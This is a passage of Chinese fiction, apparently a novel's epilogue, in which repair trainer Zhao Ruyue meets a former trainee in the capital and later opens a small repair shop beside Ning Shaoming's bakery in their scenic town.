赵如月一抬头,看到熟悉的工装,有种他乡遇故知的惊喜。 再仔细一看,那个维修师傅竟然有点眼熟,不过她培训的员工太多了,很难每个都记住,只是觉得眼熟,没能想起来叫什么。 然而她想不起来,那维修师傅却认出她来了:“赵师傅!没想到能在这里遇见您,真是太巧了!我已经参加工作好几年,您现在可能对我没什么印象了,我是公司第十七期维修培训班的学员,一开始先是被派到羊城工作,前段时间刚调来首都这边。” “原来是十七期的学员,”那距离现在确实挺久了,怪不得她只是有点印象,“你现在工作还顺利吧?” “还好,首都这边单子也很多,怕是又要跟总部那边申请多一点人手过来。” 这个维修师傅还有别的单子要赶着去做,两人聊了一会儿,她就走了。 离开前非要请客,硬是帮赵如月把饮料钱结了,还对老板说他们吃的东西都记在她账上。 老板看起来跟她也挺熟,应了一声,她就放心走了。 等维修师傅离开后,又过一会儿,赵如月和宁绍明点的东西做好送上来,是老板亲自来上菜。 东西上完老板站在那里没走,好奇地问他们:“两位客人也是从华云市来的?” 赵如月笑道:“对,我们是华云市云山县人。” “怪不得维修师傅对你们这么热情,我和附近好几家店一直都找的华云市的装修师傅,那手艺可真是没得说,价钱也公道,而且多是女师傅,我身边很多单身的女性朋友也很喜欢找华云来的师傅,用着让人特别放心。” 听到这话,赵如月心里有一股说不出的成就感,曾经她给苏胜楠建议的时候,提过几句这个,没想到现在真的实现了。 还成为了华云女性身上一个独特的标签,赵如月在网络上、在现实中,有时候也会看到别人提到华云的师傅们,提到的人无一不赞叹她们令人信赖的人品和手艺。 这让赵如月这个培训过她们的人,也免不了为她们而骄傲。 她觉得哪怕没跟宁绍明一起开店办厂,光是凭自己的手艺做出来的成绩,也足够让她觉得这辈子没有虚度。 从首都回去后,赵如月心有感触之下,在镇上开起了一家小小的维修铺子,给镇上的人修水电、修电器、修手机、修老式手表……修一切她会修的东西。 后来就有传言,这个景区有个手艺卓绝的老师傅,什么东西都会修,只是每天对外接待客人的名额不多,要是手上的活没做完,就不接待外客了,直到手上的活做完为止。 倒是镇上谁家要修东西,她心情好的话,可能愿意免费帮忙。 宁绍明也仍旧开他的面包店。 每天新鲜现做的面包和蛋糕,会随着季节、天气甚至老板的心情而改变。 慢慢地他们这两家店,竟然也成为了镇上景区吸引游客的特色。 不过到这个年纪,他们已经不在意赚不赚钱了。 每天有客人上门就接待,没有客人就坐在廊檐下,躺在摇椅上,摇着蒲扇,听风吹来时,树叶哗哗的声响,看天上的云被吹成各种形状。 偶尔他们也会开着车,带家人到周边或者到别的地方玩玩,不赶行程、不固定时间,主打一个随心。 小镇慢节奏的生活,就像夏日晴空的云,日子慢腾腾、悠悠然地过。